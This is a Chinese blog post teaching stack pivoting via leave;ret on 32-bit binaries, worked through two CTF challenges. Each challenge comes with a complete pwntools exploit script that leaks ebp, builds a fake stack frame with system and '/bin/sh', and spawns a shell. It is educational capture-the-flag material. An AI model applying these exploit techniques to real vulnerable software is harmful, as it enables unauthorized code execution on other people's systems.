栈迁移原理及简单应用

栈迁移

stackoverflow

这个漏洞根据是栈溢出的一个延申,一般进行栈溢出攻击时,会把要返回的地址(有用的地址)溢出到ret处,然后就能控制流程甚至时getshell,但是有时候我们溢出b的空间不够,够不到ret(或者栈空间不够存储参数)

栈迁移的核心思想就是将栈上的ebp和esp迁移到一个输入不受长度的限制且可控制的地址处(一般是bss段,再考虑其他栈情况)

这样就可以控制esp(实际上是控制eip),控制程序流。

这里要先深入理解ebp和ebp的内容是不一样的

比如ebp-->0x1111-->0x2222-->0x3333(MAIN)

这里ebp存放的是0x1111,而0x2222是存放在ebp的内容中,而这个内容也是一个地址,指向mian的位置,即0x3333

那什么时候能够利用栈迁移?

首先要有栈溢出,然后要有一个可写的区域(首先看bss段)

栈迁移的主要核心在于 leave;ret指令上,

leave指令为 mov esp,ebp;将ebp赋值给esp,此时,esp和ebp都指向一个地址

pop ebp; 将栈顶的内容弹入ebp

看下面的图就很好理解,先mov,esp和ebp指向同一个地址(0x1030),然后进行pop ebp 此时栈顶的内容(esp指向)即为ebp内容,把栈顶内容弹出之后,esp要向后下移动一个内存单元指向了原ret处,然后ebp指向了0x1030,至于0x1030指向什么,就和题有关了

那接下来在看ret --> pop eip 将栈顶内容弹出给eip(指向下一条指令执行的地址),看下图,栈顶弹出之后esp向下移动一个内存单元,然后eip就指向了ret addr

那么我们就要利用两次leave,ret,为什么呢,第一次的leave是将ebp移动到我们想迁移的地方,然后再进行一次leave 就会把esp也移动到内个地方,因为esp指向栈顶,ret是pop eip,所以实际上是通过这个控制eip的值,进而控制执行流

下面结合图分析一下

第一次leava_ret

经过上面的讲解,现在这个图自己尝试理解一吧(其实是一样的)

那么现在要进行第二次leave_ret

在第二次mov时已经将esp成功迁移,这两次的leave_ret我特意搞了不同的地方,没错,第二次中写入了,system,?为什么第二次会写入system?其实这是在第一次的时候写入,也就是利用栈溢出构造我们想要的栈结构,然后进行lea_ret,那为什么要隐藏呢,这样可以理解我们为什么要迁移esp(为了执行我们执行的栈结构),以及在栈溢出时我们就要做的准备

可以看到在第二次的lea_ret中最右图,edp存入了aaaa,因为有pop edp,也就是说我们在构造payload要先写入一个aaaa(垃圾数据)若不然,第一个写入system就会pop出去,没的执行,这样程序执行流不就乱了

下面引入例题

源鲁

ezstack(3)

32位栈迁移

看一下主要函数vuln

memset将s的前0x28个字节置零

然后读入0x38个字节,这里就有一个栈溢出,正好能够溢出到edp和ret

但是

system参数不对,我们想要改参数就要修改edp+8的位置,

可是栈空间不足那就需要栈迁移

前面的s参数给了足够的空间可以迁移的前面的栈空间

想了想这里还是先给出exp在讲

from pwn import *
context(log_level='debug', arch = "amd64",os= 'linux')
p= process("./pwn")
send = 0x804a028
sh = 0x8049347
lea_ret = 0x8049323
payload = b'w'*40+b'a'*8  #+p32(send)+ p32(sh)//泄露edp地址
gdb.attach(p)
p.sendafter("stack3",payload)
p.recvuntil(b'a'*8)
edp =u32(p.recv(4))
print(hex(edp))
pause()
payload = b'aaaa'+p32(sh)+p32(edp-0x34)+b'/bin/sh'
payload = payload.ljust(0x30,b'\x00')
payload += p32(edp-0x40)+p32(lea_ret)
p.sendafter('pwn!',payload)

p.interactive() 

在这个程序中有两次读入都是用的read函数,在第一次读入的时候我们让他返回edp栈地址,因为printf是读到00结束当我们将edp前面的栈填充后,就没有空间填充00(read函数会自己补充00),然后就会将edp地址打印出来

看一下调试情况

可以看到前面已经被垃圾数据填满,再打印的时候就会将edp带出来,我们就要接受一下edp的地址

那就有个问题为什么要返回edp地址?

下面就会回答这个问题

这就到了咱们构造的第2个payload

payload = b'aaaa'+p32(sh)+p32(edp-0x34)+b'/bin/sh'
payload = payload.ljust(0x30,b'\x00')
payload += p32(edp-0x40)+p32(lea_ret)

在这个payload中有两个地方就比较特殊,就是edp-0x34和edp-0x40,这个是什么呢?就是关于edp的偏移

我们可以去看看栈情况

现在可以看到edp-0x40就是一开始read读入的地方,也就是在这里我们构造的payload开始的地方,也就是让edp去得地方,同理,edp-0x34就是‘/bin/sh’地方,其实在正常情况下应该会有一个system的返回地址,但是这个题好像不需要,直接加/bin/sh就可以

成功执行

第二个

Buu

ciscn_2019_es_2

其实这两个题差不多,有一点小区别,主要看一下栈情况的区别

直接定位到主要函数,发现其实两个题基本是没啥差别,就是会有一个返回地址的问题

from pwn import *
context(log_level='debug', arch = "amd64",os= 'linux')
p= process("./pwn")
sh = 0x8048400
lea_ret = 0x80485FD
payload = b'w'*32+b'a'*8  #+p32(send)+ p32(sh)//泄露edp地址
gdb.attach(p)
p.sendafter("Welcome, my friend. What's your name?",payload)
p.recvuntil(b'a'*8)
edp =u32(p.recv(4))
print(hex(edp))
pause()
payload = b'aaaa'+p32(sh)+b'aaaa'+p32(edp-0x28)+b'/bin/sh'
payload = payload.ljust(0x28,b'\x00')
payload += p32(edp-0x38)+p32(lea_ret)
p.sendafter('\n',payload)

p.interactive() 

前面返回栈地址是一样的,只是溢出的字节不同,不过多解释,主要看payload2

可以看到在"/bin/sh"之前多了一个aaaa,哎上一个脚本怎么没有嘞?

其实这里主要是你前面sh的选址不同

在上一个脚本中我是选择了call system这里,直接将参数写进去,调用,并不是从头开始运行system函数

但是在第二个脚本时,当选择,call system的时候你会发现,参数"/bin/sh",不能完整写进去

类似这样,那就有个问题,我用aaaa去占位,使他能够输入整个参数

很简单,调试看一下

此时的栈结构

结合上面讲的leave ret 理解一下,那下面就看一下当我们调用plt表时

此时的程序执行流

会有一个内部函数读入参数,这样就可以get shell


希望可以帮到你,这只是简单的利用后面较难的迁移会单独出一篇文章

posted @ 2024-10-25 19:36  uuuwind  阅读(4)  评论(0编辑  收藏  举报